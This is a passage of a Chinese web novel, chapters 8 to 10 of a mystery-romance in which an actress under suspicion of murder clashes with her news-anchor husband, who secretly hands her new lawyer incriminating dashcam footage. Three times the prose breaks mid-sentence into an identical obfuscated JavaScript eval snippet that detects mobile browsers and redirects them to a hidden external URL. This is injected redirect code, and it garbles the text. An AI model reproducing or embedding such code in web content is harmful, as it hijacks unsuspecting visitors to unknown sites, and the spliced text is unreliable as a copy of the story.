心脏猛烈跳动,窒息凝固了五感,不知道自己漂浮在哪里,也不知道下一刻还会不会被浪花卷入冰冷的海水中。 只是浪尖上的这一刻。一切好的尚未逝去,一切坏的都未发生,哪怕下一秒便会粉身碎骨,濒临死亡前,幸运地留有最后一丝念想。 作为茫茫众生中的一员,在地球演化亿万年间反复上演的平凡日落之下,江知渺的声音,独独呼唤着他的名字。 他停下脚步,那个令他无法停止梦魇的窈窕身影,突然不真实地出现在眼前。前进的人群与她逆向而行,随着她与更多人擦肩而过,也有更多的人回过头来看她。 邵聿毫不费力就能从无数张脸庞中捕捉到她,她的眼睛像两瓣初绽的梨花,不施浓墨却自带风雅,透出十足清冷的气质。抬眸时又化作一汪春水,瞳孔边缘总是晕开一圈柔雾。一旦看着谁,就有夺人心魂的能力。 上帝之手所能画出的最流畅均匀的线条,精心勾勒出极致标准的鹅蛋脸,她的下颌微尖,脸颊也比上一次进组前瘦削不少。邵聿知道这段时间她一定又是一门心思扑在研究戏上,饮食休息都顾不得。 乌黑浓密的大波浪跟随她的步伐轻轻跃动,掀起裹挟着邵聿的那丛浪花,将他抛得越来越高。 他几乎是求助般地看着她,希望她能够将自己从万米高的高空放下来,可她的眼中总有抹不掉的火花,闪烁着比落日余晖还要耀眼的光芒。 那束火焰的名字叫做野心——他深爱着也痛恨着的东西。 这东西让他自惭形秽起来,他开始懊悔没有换一身熨烫过的西装,没有穿戴上主持人体面的皮囊,而就像个呆子一样,毫无还手之力,等着她一步一步靠近。 随着她不断接近,邵聿慢慢适应了这突如其来的陌生场面,习惯了难以承受的快速心跳,大脑重新获得理智的支配权,指示着双脚向前迈去。 五步、四步、三步……他们越来越近,在两个人之间,很快就不会间隔任何路人了。 可就在他们停下脚步,长久以来终于有机会面对面注视对方时,突然出现的清亮声音,打乱了邵聿所有心事。 “诶,你是江知渺,对吧?” 江知渺闻声看过去,一个身着酒红色职业装的高挑女人,踩着约莫十厘米的高跟鞋,向她走过来,胸前挂着的工牌随着脚步高低晃动。 “邵大主持人的妻子,早有耳闻,可惜一直没有机会见一见本人。你好,我是国立电视台新闻部记者,李璟意,幸会。”说着,她伸出一只白皙的手。 江知渺握住她的手,手掌的冰凉让她不自觉地缩了一下,对方却似乎有意握得更紧。 她端详着面前这个陌生女人的神情,企图从她生动的脸上找出这份敌意的来由。可惜即使她用上了演员十成十的功力,也没能从她礼貌的微笑中发现什么端倪。 不愧是国立电视台的新闻记者,江知渺心中暗忖。她微微上扬的嘴角噙着猜不透的深意,高高突出的眉骨下,一双漂亮的杏眼目光如炬,似乎要用眼睛将所有人的心思都看穿。 “哇,本人比电视上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584996|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要美啊!”李璟意毫不掩饰自己的热情,目光明晃晃地在她的脸上打量,随后又看向邵聿,“邵聿,你也真够小气的,怎么从来不见你带着家属来参加台里的聚餐呢?” 江知渺不知道她是不是有意,状似随口一提,却正好击中了他们两人的软肋:他们几乎从来没有一同出现在亲友同事面前,甚至连电视台有聚餐,她都是第一次听说。 “是我工作太忙了,以后有机会一定多参加。”她没敢看邵聿的表情,客气地搪塞道。 “还是工作要紧。”李璟意忽然又善解人意起来,江知渺还没来得及转换话题,就又被她抢先说道:“最近你应该更忙了吧,还要接受警方的调查……” “李璟意。”邵聿终于开口了,离开摄像机,没有话筒,他的声音松弛了很多,可这一声还是让人听出浓浓的警告意味。 “别误会啊,我没有别的意思。”李璟意并没有被他唬住,反而一双眉眼笑得更弯了,“咱们这么多年同事的情谊,我就是想帮帮忙。” 说着,她回过头,向身后挥了挥手,一位高大的男人身着西装,正稳步向他们走过来。 两个人对视一笑,男人自然地环住她的肩膀,李璟意盯着江知渺说道:“介绍一下,这位是我老公,杨灝,君泽律师事务所的刑事律师。他有非常丰富的刑事案件处理经验,如果你还没有找到合适的律师的话,不如让他来做你的律师。” 她的一席话让在场其他三个人都吃了一惊,尤其是杨灝,难以置信地低头看着她,刚要开口说什么,李璟意就对他皱了皱眉。 他轻叹着松开环抱妻子的手臂,从西装外套中掏出一张名片,递给江知渺。 可江知渺刚刚将精致的名片拿到手中,还没来得及细看,就被身旁的邵聿一把夺了过去。 “谢谢你的好意,她目前没有聘请律师的计划。”邵聿的语气几乎是冰冷的,随意地将名片塞进了自己的口袋。 李璟意无奈地笑道:“不用这么大的敌意嘛,我是真心为了你们着想。前天晚上我也在警察局外,整夜的问讯,就算是铁人也会扛不住的。君泽是业内数一数二的律所,事关重大,还是得选一个靠谱的律所。” 江知渺收敛起礼貌的微笑,碍于邵聿与她的同事关系,克制住了自己的脾气。李璟意这些言语似乎认为自己就是真凶,只是觉得她会掩盖不住似的。 她本想给自己争辩两句,却被邵聿截住了,刚刚冷下来的声音又恢复了主持人的严肃端正,“目前警方的调查尚未结束,我的妻子仅仅是参与调查,并非犯罪嫌疑人。关于谁是真凶,一切推测都为时尚早,还要进一步等待警方的结论。” 多么清晰的咬字,多么完美的句读,多么正规的内容,可江知渺的心底却像是被寒冰封住了一样,似乎这声音的主人离她越来越远。 她捕捉到了李璟意难以掩饰的笑意,那双极具审视威力的眼睛,意味深长地冲她眨了眨,然后又摇身一变,变得若无其事,说道:“好吧,那我们就拭目以待吧。” 江知渺看懂了她笑容背后的深意,更加因为看懂了她的嘲讽而浑身发冷。而寒意的来源,就是身旁站着的、他的丈夫——邵聿。 8. 质问 仲夏夜晚的风是极温柔的,拥有抚平一切的能力。刘姨的手艺一向很好,江知渺忍不住多吃了几口,加上红酒的作用,头也有些昏沉。 她搀扶着邵聿的父亲走到门口,笑着叮嘱道:“爸,您不用出来送我们了。最近天气热,一定要注意身体,在公司也不要贪凉,记得按时吃饭。” 邵永泽轻抿嘴唇,难得地放下严厉的神情,嘱咐她也要注意身体,照顾好自己。 花园外响起了汽车发动机的声音,江知渺退后一步,向邵永泽鞠了一躬,这才向外走去。 她刚一坐上副驾驶,连安全带都没有系好,邵聿就发动了车子,江知渺从右侧的后视镜里,依稀还能看到邵永泽拄着拐杖的身影。 她几次吸气又放下,终于还是忍不住说道:“爸年纪大了,你也该多来看看他,别让他老人家担心。” 车子缓缓滑行,停在红灯前。邵聿看向左侧窗外,这里距离市中心不近,建筑密度极低,晚上十点钟,对向车道几乎没有车辆,视野非常广阔。 “我从来也没想让他为我担心。”他搭上方向盘,踩下油门,车子再次启动。 江知渺无奈地靠在头枕上,结婚七年,她一直在努力缓和邵聿和他父亲的关系。早年间,邵永泽忙于家族集团的工作,对他们母女俩缺少关怀,甚至不知道邵聿的母亲身患胃癌。 母亲去世后,邵聿就与父亲几乎走向决裂,尤其是后来他拒绝继承父亲的产业,毅然选择播音主持专业,更是导致父子俩的隔阂越来越深。 过了这么多年,她从中调和,却没有任何的进展。江知渺越来越摸不清,邵聿的心结到底在哪里。 自从《凤皇止阿房》开机以来,无论是工作还是生活,她就始终处在紧张的状态中。此时静谧的夜色与寂静的车厢,催促着她身体中深藏的疲惫席卷而来。 忽地,昏沉的思绪被邵聿的声音打断,“你为什么要同意让李璟意她爱人做你的律师?” 江知渺缓缓睁开眼,窗外飞速滑过的绿化带让她心烦意乱,可她不愿意去看邵聿说完这句话之后的表情,仍然望向窗外。 “刑事领域,君泽律师事务所排名第一,杨律师又是君泽的知名律师,我为什么不能请他?” 江知渺回想着傍晚在电视台发生的事情,她隐忍多日的愤怒被李璟意的嘲讽击中,于是她不顾邵聿的阻拦,主动向杨灝再次索要一份名片,现场立刻告诉他,自己要聘请他为自己辩白。 她知道邵聿一定对她的所作所为有很大的意见,可她偏偏要赌这一口气。 她是他的妻子,生命中最亲近的人,然而他对柏霆宇的父母、对同事甚至是对他自己的父亲,都是用旁观者的口气,说出最冰冷的话语。 「……关于谁是真凶,一切猜测都为时尚早,还要等待警方的结论。」 正确、得体甚至是无懈可击的一句话,对江知渺来说却过分残忍。 一刹那的冲动战胜了理智,她突然感到很委屈,深深地提起一口气,问道:“你又为什么要对他们那样说?” 车子平稳地行使在空无一人的道路上,平稳得让江知渺恍惚间以为自己坐在一艘船上。这艘船载着她和邵聿飘荡在毫无波澜的死水水面,她以为在前进,但永远停留在原地。 “如果是指你的事情。”邵聿思考片刻,终于给她答复,“作为新闻工作者,传达事实,是我的职业习惯。” 江知渺用力握住安全带,看着他的侧脸,“现在是关于我,不是等待你去揭露黑暗去拯救的普罗大众!我们结婚七年了,你不知道我是什么样的人吗?” “我不认为在调查结束前,我的说法会对实际情况或者他人的想法产生什么影响,所以我只能理性地说出客观事实。” “理性,又是理性。”江知渺冷笑一声,“难道对自己的妻子,你都没有任何主观的情绪吗?难道就说不出无条件信任这种话吗?” 面对她的质问,邵聿没有回答。他平静得像是没有感受到她的愤怒,目光笔直地看向前方的道路,江知渺连他的余光都捕捉不到。 她无法被邵聿的解释说服,假如他相信自己与案件无关,又怎么会有这样淡漠的态度? 一个她不愿相信的念头骤然出现在她的脑海里,可怕的是,这个念头恰好能回应她的困惑。 江知渺靠回椅背,张了张嘴,紧绷的喉咙第一时间没能发出声音,而后,轻飘飘地抛出了最后的问题。 “难道,你也觉得人是我杀的吗?” 车子在下一个红灯慢慢停下,四十五秒的等候时间,每一秒都格外漫长,甚至煎熬。 在倒计时缓缓归零的一瞬间,随着车速瞬间提升带来的失控感,江知渺似乎听见自己的心停跳了一拍。 “停车,我要下车。” 邵聿没有阻拦,把车子缓缓停靠在路边。江知渺解开安全带,一把推开车门,跨步迈下车去。 在关闭车门前,她最后留下一句:“我没有杀他。我和他,什么都没有。” 车门“咚”的一声关闭,邵聿再次发动汽车,后视镜里江知渺的身影越来越远,很快就看不到了。 他在下个路口猛打方向盘,将车停靠在路边一棵古老的大树下,从兜中掏出那张被他潦草折叠的名片。 他一动不动地注视着名片上的姓名,上翘的眼角低垂着,过了许久,还是拿出手机,拨通了上面的电话。 “喂,您好,请问是杨灝律师吗?” “我是邵聿。关于你的新客户江知渺,有些东西,我想你有必要提前看一看。” “好,三十分钟后我会到你的办公室。” 江知渺下车后,本想拿出手机打车,刚好看到了柯妙妙发来的消息,于是拨通了她的电话,约好在A市郊区一家僻静的酒吧相聚。 柯妙妙赶到时,江知渺已经喝得半醉,正百无聊赖地用手指敲击着高脚杯。 她站在门口,无奈地摇了摇头。大学时期,她们的四人寝室只入住了三个人,她、江知渺以及梁栖月。要说起关系的亲密程度,她和江知渺要更近一些,也是江知渺让她操心最多。 她走上前去,手在她的肩上轻轻一搭,拿过她手里的酒杯,大剌剌地喝了一口,“说吧,你和邵聿又怎么了?” 江知渺眯起眼睛,在酒后模糊的视野里认出是柯妙妙,冲她绽开一个灿烂的笑容,“你怎么知道是关于邵聿啊?” 柯妙妙忍住翻白眼的冲动,抬手叫来一杯低度数鸡尾酒,将她的那杯推还给她,“第一,你十次叫我出来喝酒,有九次都是因为邵聿;第二,你会喝得这么醉,只可能是因为邵聿;第三,我的眼线拍到你今天去电视台接邵聿下班,此时没去你侬我侬,还能是因为什么?” “嘿嘿,不愧是娱乐圈第一狗仔,真厉害……”江知渺拿起酒杯,和她的轻碰了一下,仰头一饮而尽。 柯妙妙冲着还要来送酒的服务员摇了摇头,拉着江知渺问道:“行了,说正事吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584997|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好长时间没听你提起邵聿了。” 江知渺被她握住肩膀,在摇摇晃晃间,神志被迫清醒,她透过柯妙妙清秀的双眸找寻自己的影子,努力让瞳孔聚焦。 “你后来,还有在调查当年那个人吗?” 她的话像一颗投入平静湖面的石子,瞬间激起柯妙妙心中的千层涟漪。她皱起了不施粉黛的眼眉,手也不由自主地握紧酒杯:“为什么突然提起他?” 那个把江知渺骗进金主的酒局,又在她艰难逃脱后,将她全网封杀的人,柯妙妙以为自己已经忘了。随着时间的流逝,伤口逐渐愈合,却没成想,疤痕下的隐痛始终都在。 她不自然的微表情引来江知渺关切的眼神,江知渺双手握住柯妙妙的手,用掌心去温暖她僵硬的手指:“别担心,我只是……” 江知渺停顿了许久,咬着下唇,思索自己该如何措辞,终于在良久后,将手臂颓然地垂了下去:“我只是不知道,他为什么当年能够无条件信任我,如今却……” 柯妙妙听懂了,当年江知渺被曝出陪酒的负面新闻后,邵聿直接选择向她求婚,用一纸婚书证明了她的清白。 对于那个混乱的夜晚,柯妙妙是唯一知道全部实情的人,就连她听到两人的婚讯后,都吃了一惊。如今江知渺再次被绯闻缠身,在旁观者的眼中,邵聿却变得愈发若即若离起来。 “他就像个局外人一样,用那种讨厌的、官方的语气跟所有人解释,好像,好像我不是他的妻子,倒像是新闻里,几千公里外的一个陌生人……” 柯妙妙静静地听着她,用酒后断断续续的话语控诉邵聿的行为,时不时扭过头,用迷离的眼神望着她,眼底写满了困惑。 烈酒冲头,很快,江知渺就敌不过酒劲催发的困意,枕着自己的手臂,合上双眼,睡倒在桌面上。 柯妙妙一动不动地坐了好久,直到服务员问她还要不要点酒,她才回过神来。 她推了推江知渺:“先别睡,我还有话要问你,你是什么时候知道,柏霆宇对外宣布的家世造假的?” 柏霆宇的父母到她家大闹的那天,柯妙妙才从梁栖月那里得知,声称父母是意大利资深制片人的柏霆宇,实际上是一个在贫困山区长大的孩子。 可更令她们惊讶的是,面对突然到来的老人,江知渺竟然丝毫没有震惊,像是早就熟知柏霆宇的真实身世。 江知渺沉睡的脸庞没有给她想要的回应,她兀自沉思了一会儿,掏出手机,本想进入拨号页面,却习惯性地点进了微信,进入自己的娱记工作室群聊。 群聊最下方显示“本群已被群主解散”,而解散前最后一条消息,是她的一个线人发来的视频: 暧昧昏黄的灯光下,年轻男人似乎喝醉了,踉跄着向镜头的方向走来,停在一个房间门口。 随着他轻轻叩门,木门从屋内打开了。一位身材纤瘦的女人走出来,站在门口,与年轻男人仅仅相隔两掌宽,几乎是紧贴着说了几句话。 最后,男人张开怀抱,将女人揽进怀中,相拥着推开房门走了进去。 视频中的男人,是柏霆宇。 而从清晰的偷拍画面中,任何人都能认出,那个女人,就是江知渺。 柯妙妙的手停留在视频之上,犹豫了片刻,最终还是飞快地关闭微信,给最近通话顶端第一个号码拨了过去:“喂,周屹泽,是我,柯妙妙。” “知渺在酒吧喝醉了,我有些事情要处理,麻烦你送她回家吧。” 9. 录像 邵聿抵达君泽律师事务所时,已接近凌晨十二点,整栋大楼的照明设备早已关闭。他按照名片上的指引来到45层,漆黑的办公区里,只有一间办公室的门缝露出一丝灯光。 “邵先生,您好啊。”杨灝迎上前来,向他伸出手。 他长了一张典型的北方人面孔,看不出律师的精明感。天圆地方的额头上有着一对浓黑的宽眉,为他增添了几分老实正直。宽阔的双眼皮下方,双眼炯炯有神,目光十分真诚,笑起来时,眼角挤出两条不甚明显的纹路。 邵聿回握住他的手,“杨律师,您好,抱歉这么晚来打扰您。” 杨灝豁达爽朗地笑了起来,“没关系,干我们律师这行的都是二十四小时待机,您来之前我刚刚接待完另一位客户。” 他给杨灝端上一杯温水,略显尴尬地挠了挠头,“不好意思,招待不周。我平日里不喝咖啡和茶水,现在前台下班了,我这里只有白开水。” 邵聿在电视台工作,见过了太多形形色色的人,杨灝的一举一动间都透露出谦逊,与他老婆李璟意截然不同,这倒是让他有些措手不及。 他大方地接过杯子,也回以礼貌的微笑,“没关系,我的事情很快就能说完。” 杨灝立刻收起了笑容,坐回办公桌前,拿出律师的职业感,“邵先生,有句话我必须要提前告诉您:江知渺女士是我的委托人,作为律师,我的一切行动只会在法律准则的基础上,维护她的利益最大化。虽然您是她的配偶,但假如对她有所不利,我仍然会优先……” “确实是对她不利的事。” 邵聿突然开口打断了杨灝的例行提示,他愣了一秒,迟疑地问道:“您是说,您今天要和我讲的事情,对于洗清她的嫌疑,有所不利?” 邵聿点了点头,从手提包中拿出一个硬盘,眼神如鹰喙一般锋利,死死地衔住杨灝震惊的双眼,“所以我希望,你能让警察永远都看不到。” 他的声音庄重威严,在空旷的摩天大楼中自带阵阵回响,仿佛来自空中的低语,杨灝不禁打了个冷战。 江知渺感觉到自己被人搀扶着坐进一辆轿车,对方小心翼翼地把她安顿在座椅上,轻柔地扣好安全带。 车内隐约洋溢着阵阵清香,不是廉价车载香薰的刺鼻香味,倒像是……江知渺闭着眼睛,用力地吸了吸鼻子:像是鲜花的香气。 坐在驾驶位的人似乎感受到她在嗅闻,很快就放下了车窗。夏夜的清风吹散了鲜花的幽香,扑鼻而来的是路边清新的草木香。 车辆的速度使得擦肩而过的空气也被挤压,一阵阵紧密相连的风,在她的耳廓发出连续“空——空——”的声音。 她已经很久没有听到这种奇妙声响了,肉体凡胎与自然的友好碰撞,让她感到自己格外渺小,却也格外安心。 声音,她突然想起了邵聿的声音,好像一下子回到了七年前,那个在她疯狂逃跑的路途上,不期而遇的人。 当时他分明什么也没问,不问她为什么要去,也不问她为什么要逃,只是将她安全地送回家中,在她租住的公寓客厅守了一夜。 第二天一早,在她还没来得及看一眼新闻、没有接触到任何外界消息的时候,突然问她:知渺,你愿不愿意嫁给我? 江知渺转过头去,想看一看是谁在驾驶这辆飘溢着花香的车。 饱满的脸颊,黝黑的皮肤,厚实的唇瓣,闪闪发光的徽章,整洁合身的警服——江知渺这才意识到,这不是邵聿。 周屹泽将车缓缓驶入地下车库,他看了看沉睡着的江知渺,决定先行下车去按门铃。 很快,从电梯中走出一个身着休闲居家服的男人。邵聿下来得很急,甚至没有换掉拖鞋,在看到周屹泽后,毫不掩饰地黑了脸。 周屹泽引着他来到自己的车前,拉开副驾驶的车门,本想将睡得歪歪扭扭的女人抱出来,却被人从身后紧紧地锁住了手臂。 “别碰她。”邵聿毫不客气地将他推开,探进副驾驶,一手搭在她的脑后,一手勾住腿弯,把人抱了出来。 “她喝了很多酒,我车里有解酒药,你记得给她吃点,不然明天会头痛。”周屹泽甩了甩被邵聿推得生疼的手腕,到后备箱去拿药。 “不用了。”邵聿叫停了周屹泽的脚步,径直往电梯间走去,“我们家里也有。” “我们家”这三个字加了夸张的重音,周屹泽听得真切。他忧心忡忡地看着邵聿走进电梯,消失在视线里,只能发出一声叹息。 返回车中时,周屹泽的余光瞥见放在后座的那束鲜花。 这不是专门为江知渺买的,他接到柯妙妙电话,从警察局出来的时候,刚好碰到卖花的老奶奶。她手中只剩下这最后一束花没有卖出去,随着天色渐晚,花瓣也有些凋零,更是无人问津。 周屹泽上前去将花买了下来,一路也没有下定决心,要不要将这束花送给江知渺。 他驾驶着车辆离开江知渺家,瞥了一眼空空如也的副驾驶,还是一脚刹车,把已经枯萎的花,放在了垃圾桶旁边。 江知渺完全清醒过来时,已是第二天的中午时分。宿醉后虽然没有预料中的头痛,可还是觉得头脑异常沉重,浑身也犯懒。 她从冰箱中翻出一袋全麦面包,本想随意垫几口,一个陌生的号码突然打了过来。 “喂,您好,您是……?” “江女士您好,我是昨天和您见过的律师,杨灝。” 江知渺放下面包,走到宽阔的窗前,“噢噢,是杨律师,您好。” “不知道您今天是否有时间,我们见一面?” 江知渺立即答应了下来,跟他约在家附近的西餐厅见面。她听梁栖月念叨过找律师的事,昨日李璟意主动推荐,刚好帮她解决了难题。 她自然不相信李璟意有那么好心,饶是她与邵聿再生疏,也听说过李璟意与邵聿是多年的竞争对手,两人曾经是午间新闻主播席位最有利的候选者。 尽管现在两个人都没有成为新闻组的主播,可作为国立电视台的中流砥柱,仍然少不了竞争。 李璟意推荐杨灝做她的律师,显然是想打探柏霆宇案件的真相,拿她和柏霆宇的绯闻做些文章,影响邵聿的公众形象。 既然李璟意想要把杨灝当做棋子,安插在她的身边。那么她又为何不充分利用这次机会,让她彻底放弃把自己当做邵聿的把柄呢? 江知渺选好一身低调的装扮,戴上墨镜,准时到达西餐厅,发现杨灝已经在预定好的桌子就坐了。 看到她走过来,杨灝绅士地帮她拉开椅子,“江女士,请坐。” 说了几句话之后,江知渺发现,眼前的这个律师和她从前接触过的很不相同。 他没有带助理,也不急于谈论正题,而是像朋友一样,先向她介绍了餐厅的招牌菜,说得头头是道,又聊了聊作为电视台工作人员家属的心情体会。直到用完午餐,他才拿出委托协议,请江知渺过目。 昨天这份协议就已经发给了梁栖月,工作室的同事连夜审核过,不仅没有发现问题,甚至怀疑她是不是遇到了骗子。 原因很简单:律师费少得几乎可以忽略不及。 “杨律师,我还有一个问题,您为什么要将律师费定的这么低?” 杨灝险些被红酒呛到,尴尬地笑道:“咳咳,我以为这是好事?” “目前我在配合调查的,毕竟是一桩杀人案,加之其中涉及的都是公众人物,您作为业内排名第一的君泽律师事务所的律师,即便是将费用抬高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584998|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一倍,也不是没有竞争力。” 杨灝突然像青涩的学生一样,腼腆地笑了,“这个嘛……毕竟是我老婆让我接的案子,那我肯定得好好做,不能让她为难。”说着,他转动起无名指上的素戒。 江知渺认可了这个理由,举起酒杯示意道:“明白了,是我想多了,杨律师和妻子的感情真好。” “您和邵先生才是男才女貌,昨天我去电视台给我老婆送晚饭的时候,很远就在人群中注意到你们夫妻俩。” 江知渺正在签协议的手顿了一下,她轻声回了一句“谢谢”,将签好的委托协议交给他:“之后我的事就麻烦杨律师了。” “您放心,我一定会尽我所能,帮助您顺利完成警方调查。”他将委托协议细致地整理好,放回手提包里。 “江女士,我需要了解您在案发当天都去了哪里,做了什么。”说到工作事宜,他的神情明显严肃起来,一对宽眉微微蹙起。 “那天我从F市飞回A市,下午五点半左右,飞机准时降落,大约七点四十分,我回到家中。 晚上10:17,柏霆宇给我发微信,说是有事要跟我说,让我去VeilMansion六层的套房找他。我打车到达酒店大厅时,已经接近十二点了。 当时还有其他人在等电梯,为了避免麻烦,我选择了走步行梯上楼。但是当我走到三层时,酒店的火灾警报响了,所以我没有继续上楼,直接离开回家了。” 她讲述的时候,杨灝在随身携带的本上认真记录,不时点点头以做回应。 等她说完,杨灝才开始询问:“您是从一层大厅离开的吗?” 江知渺摇了摇头,平静地回答道:“报警器响后,很多人都会向外跑,我不想被人认出来,所以就继续下楼,从地下二层的停车场离开。” 担心自己说得不够清楚,她又快速地补充了一句:“如果被人拍到一个女艺人半夜出现在酒店,会很麻烦。” “理解,我能理解。”杨灝重重地点了点头,笔在纸面上轻轻勾画,“那您在楼梯间,有没有看见过什么可疑的人?” 江知渺后仰靠在椅背上,舒展地拿起玻璃高脚杯,微微抬起纤长的脖颈,优雅地抿了一口,“没有,我没有看到过别人。” 杨灝记录的笔停了下来,抬起头与江知渺对视,她的一双黑眸如同平静无澜的湖水,又像是深不见底的黑洞。 “好的,江女士,您这边的情况我已经了解,我也会尽快跟警方了解最新的调查进展,有什么新情况,我们随时沟通。” 目送着江知渺坐上出租车,杨灝提着的一口气才稍稍放下。他拦了一辆出租车,去往反方向的办公室。 进入办公室的第一时间,他从抽屉里找到邵聿给他的那个硬盘,连通电脑,清晰的行车记录仪画面开始播放。 画面内,原本只有远处停着零星几辆车。然而,当左上角记录的时间走到零点后,画面中突然出现一个行色匆匆的女人。 她踉踉跄跄地向前跑,不时回过头去,似乎在看有没有人追上来,甚至因为脚步太过慌乱,几次险些摔倒。 随着她逐渐靠近画面中央,可以看到她满脸的惊慌失措,泪水充盈在眼底,唇瓣张开,大口大口地急促呼吸着稀薄的空气。 她出现的时间非常短暂,仅仅五秒后,就消失在画面当中,只剩下空荡荡的停车场。 昨晚杨灝第一次看到这段视频时,惊讶得许久都说不出来话。还是邵聿在视频播放到第三遍时,主动为他解释:“这是案发当晚,VeilMansion的地下停车场。” 他站在杨灝身旁,按下暂停键,指着画面中那个慌张的女人,说道:“我想你应该已经认出来了,视频中的这个人,是江知渺。” 10. 嫌疑 杨灝心中有无数个疑问,却不知从何问起。邵聿像是会读心一般,没等他开始发问,就沉声回应道:“这个视频是我的行车记录仪拍到的,那天晚上,我在VeilMansion的停车场。” “不过,你不用怀疑我。如果人是我杀的,我不可能主动把这个视频交给你,更不会告诉你我也在那里。” 杨灝关掉录像,将屏幕也一并熄灭,转动座椅,面对着邵聿问道:“那么,为什么要让我看到这个视频?” “我希望你在为知渺辩护时,考虑到她是真凶的可能性。” 他直白的一句话,又将杨灝刚刚整理好的思绪彻底打乱了,他这才明白邵聿今晚来找他的目的。 这份行车记录仪录像虽然不能证明江知渺就是杀人凶手,可却清楚地显示出案发时间里她的慌乱。 视频中,楼梯出口周围并没有停车。当晚VeilMansion的监控也已全部丢失,在那个僻静的角落,或许只有眼前这份录像,记录了当时江知渺落荒而逃的样子。 无论是谁看到这段画面,都会怀疑,江知渺是在杀人后惊慌失措地逃跑。 做了这么多年律师,杨灝听懂了邵聿的潜台词:他担心律师因为不知道这一情况,武断地做下“江知渺是无辜的”的判断,让她陷入不利的境地。 更进一步,对于邵聿而言,无论她是为什么而逃跑,已经不重要了;重要的是,他希望没有任何证据能够证明,在案发当晚,她曾经异常心虚慌乱。 杨灝不由得再次审视起面前这个平静的男人来,他穿着一身熨帖的西装,宛如一尊宁静的雕像,安坐在他的面前,神情不像是在请他帮忙掩饰妻子的杀人嫌疑,倒像是在和他谈公事。 作为律师,杨灝不能不在意视频中江知渺这些行为背后的原因。然而江知渺给出的答案,也让他不得不做好最坏的打算。 既然她说没有在上下楼梯的过程中遇到其他人,那么只可能是在房间里发生了什么。换句话说,杨灝根本无法排除江知渺在对警方和自己撒谎的可能性。 整整一个下午,杨灝都将自己关在办公室里,拒绝了一切来访和会议。尽管做了多年刑事律师,也接触过不少穷凶极恶的罪犯,可他仍然难以接受,江知渺是杀人犯的这种猜想。 昨天去接李璟意下班时,当听到妻子推荐自己做江知渺的律师,他是跃跃欲试的。他以为自己从荧幕上的那个江知渺,看清了她本人,本想帮她洗清莫须有的嫌疑,但不利的证据此刻却意外出现在眼前,这种情况在他的职业生涯中也并不多见。 杨灝不禁感慨起来,邵聿究竟是如何做到毫无波澜地将这份“罪证”交给他,又是如何能够轻描淡写地让他帮忙掩盖。 直到晚上回到家中,坐在书房里,杨灝的思绪仍然被这对夫妻充斥着,连李璟意开门回家的声音都没有听到。 “想什么呢,这么入神?”李璟意随意地靠在书桌桌沿,双手捧起他的脸问道。 “没什么,就是工作上的事。”杨灝覆上她的手,“晨晨呢?” 李璟意佯作生气,推开他的手,“妈昨天打电话说想晨晨了,接过去住两天,你不是听到了吗?” 杨灝这才从杂乱的头绪中,回忆起今早来自他妈妈的电话。老人思念孙女,准备了各种好吃的好玩的,晨晨一听,连觉都不想睡了,嚷着要回去找奶奶玩。 李璟意看出他心不在焉,再次问道:“今天真的没发生什么事?” 李璟意那双杏核一样明媚的眼睛此时充满了关切,让他心头一阵温暖,“就是中午去见了一趟新客户,路途比较远,可能是开车累了。” “新客户?”李璟意思索了两秒,突然跳了起来,凑到他面前,激动地问道:“是江知渺吧!” 见杨灝点头,她瞬间精神起来,“怎么样怎么样,她都说什么了?人究竟是不是她杀的?她和柏霆宇是不是情人?” 面对李璟意一连串的问题,杨灝无奈地笑了笑,站起身来,体贴地托住她的肩膀,“都多大人了,还这么八卦。” “她要不是邵聿的老婆,我才懒得管。”李璟意翻了个白眼,“娱乐圈那点床上料,有什么值得报道的?” 她让杨灝接下这个案子,就是想套出点邵聿的把柄来。鬼知道台里为什么总是让他俩竞争! 刚毕业进台里的时候,他们两人竞争一个早间新闻主播的位置,结果她因为怀孕退出了竞争,邵聿也莫名其妙地放弃了。 现在她是新闻部的主力记者,邵聿则是综合部的知名主持,按理说他们应该没有什么交集了。可总有风言风语在传,领导层正在对他们两人进行长期考察,最终会确定一人,顶替即将退休的资深主持人佟彬,成为黄金时段晚间新闻的主播。 而工作中,两人也并非想象中的那样和平。各种策划、摄影、剪辑、后期老师都是稀缺资源,为了让自己的项目能够更快更好地播出,他们也没少竞争。 假如邵聿的妻子出现负面舆情,即使并非是故意杀人这样的刑事犯罪,单是出轨,就足以让邵聿在这场争夺中败北。 “我知道你是为了工作,但作为律师,我也要保护客户的隐私,是不是?”杨灝温柔地抚过她的发丝,轻声说着。 “也就是说,她真的有什么不可告人的秘密了?”李璟意抓住了他言语里的漏洞,兴奋地眨了眨眼睛。 “老婆。”杨灝叹了口气,“在我面前,可以不用这些记者的技巧吗?” 